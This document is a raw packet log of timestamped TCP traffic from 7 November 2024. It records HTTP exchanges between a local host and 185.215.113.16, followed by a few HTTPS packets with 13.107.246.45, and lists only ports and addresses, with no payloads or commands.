Nov 7, 2024 06:01:12.744106054 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.744112968 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.744115114 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.744133949 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.744151115 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.781018972 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781034946 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781045914 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781058073 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781080008 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.781105995 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781112909 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.781152010 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781193972 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.781225920 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781238079 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781249046 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781260014 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.781260014 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781279087 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781291008 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781301975 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781311989 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.781316042 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781327963 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781339884 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781351089 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.781371117 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.781378031 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781390905 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781400919 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781418085 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781421900 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.781430960 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781440020 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.781441927 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781455040 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781466007 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781466961 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.781482935 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781493902 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781495094 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.781506062 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781514883 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.781518936 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781531096 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.781553984 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781554937 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.781572104 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781583071 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781594038 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781605005 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781606913 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.781615973 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781629086 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.781640053 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781646967 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.781652927 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781665087 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781671047 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.781701088 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.781824112 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781848907 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781861067 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781884909 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.781904936 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.781949997 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781965971 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781976938 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.781991005 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782001972 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782001972 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782027006 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782043934 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782157898 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782174110 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782186985 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782197952 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782210112 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782213926 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782229900 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782248020 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782255888 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782260895 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782272100 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782284021 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782284021 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782290936 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782294989 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782305956 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782319069 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782325983 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782336950 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782336950 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782351017 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782361984 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782366991 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782386065 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782392979 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782397985 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782416105 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782421112 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782432079 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782437086 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782444954 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782457113 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782464981 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782474041 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782485008 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782494068 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782497883 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782510996 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782521963 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782524109 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782535076 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782542944 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782546997 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782558918 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782569885 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782577038 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782589912 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782601118 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782608032 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782613039 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782625914 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782634020 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782644987 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782649994 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782661915 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782670021 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782672882 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782684088 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782690048 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782695055 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782706976 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782716036 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782720089 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782732964 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782733917 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782746077 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782749891 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782759905 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782778025 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782778978 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782803059 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782804966 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782819033 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782830000 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782830954 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782841921 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782845020 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782860994 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782860994 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782872915 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782880068 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782885075 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782896996 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782907963 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782908916 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782919884 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782924891 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782931089 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782944918 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782952070 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782963991 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782974005 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782974958 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.782985926 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782998085 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.782999992 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783010006 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783016920 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783027887 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783035040 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783041954 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783052921 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783061981 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783065081 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783087015 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783087015 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783099890 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783107042 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783117056 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783128977 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783134937 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783140898 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783153057 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783160925 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783164978 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783176899 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783178091 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783190966 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783202887 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783204079 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783221960 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783232927 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783237934 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783242941 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783255100 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783257961 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783274889 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783277035 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783286095 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783294916 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783298969 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783310890 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783318996 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783334017 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783337116 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783346891 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783356905 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783365011 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783370018 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783380985 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783391953 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783392906 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783405066 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783421040 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783426046 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783437967 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783440113 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783452034 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783457041 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783469915 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783482075 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783489943 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783493042 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783504963 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783507109 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783516884 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783529043 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783535004 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783546925 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783559084 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783565998 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783571005 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783582926 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783582926 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783595085 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783606052 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783616066 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783622980 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783643007 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783643007 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783658981 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783662081 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783674002 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783684015 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783684015 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783695936 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783699036 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783709049 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783720970 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783723116 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783751965 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783761978 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783762932 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783775091 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783785105 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783796072 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783806086 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783807039 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783818007 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783830881 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783837080 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783843994 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783854008 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783855915 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783869028 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783880949 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783885002 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783896923 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783906937 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783907890 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783920050 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783926964 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783936977 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783947945 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783955097 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783960104 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783971071 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783982038 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.783986092 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.783998966 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784001112 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.784010887 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784024000 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.784044981 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.784051895 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784064054 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784071922 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.784075975 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784092903 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.784105062 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.784111977 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784164906 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784200907 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.784255028 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784265995 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784276962 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784291983 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784301996 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.784302950 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784316063 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784321070 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.784328938 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784337997 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.784364939 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.784379005 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784392118 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784403086 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784414053 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.784415007 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784426928 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784435987 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.784465075 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.784471989 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784482956 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784526110 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.784529924 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784540892 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784550905 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784560919 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.784584999 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784589052 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.784596920 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.784617901 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.784645081 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:13.133969069 CET	443	49809	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.134851933 CET	49809	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.134898901 CET	443	49809	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.135723114 CET	49809	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.135730982 CET	443	49809	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.149475098 CET	443	49810	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.149950027 CET	49810	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.149969101 CET	443	49810	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.150476933 CET	49810	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.150482893 CET	443	49810	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.156903982 CET	443	49808	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.184838057 CET	49808	443	192.168.2.4	13.107.246.45
